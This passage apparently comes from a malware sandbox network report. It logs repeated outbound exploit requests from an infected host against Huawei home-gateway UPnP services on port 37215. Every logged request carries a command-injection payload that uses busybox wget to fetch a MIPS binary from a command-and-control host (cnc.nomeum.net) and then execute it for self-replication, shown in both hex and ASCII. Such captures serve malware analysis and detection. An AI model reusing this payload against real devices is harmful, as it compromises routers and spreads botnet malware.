63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	49614	156.244.34.40	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.455946922 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	37644	197.242.35.187	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.457206964 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	52270	197.114.205.104	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.458195925 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	39602	41.170.240.154	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.459249973 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	57498	197.240.239.215	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.460932016 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	44006	41.228.100.124	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.462224960 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	54604	156.139.56.40	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.463262081 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	42376	156.127.1.25	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.464159012 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	50606	41.225.209.41	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.465086937 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	39048	156.242.157.164	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.466043949 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 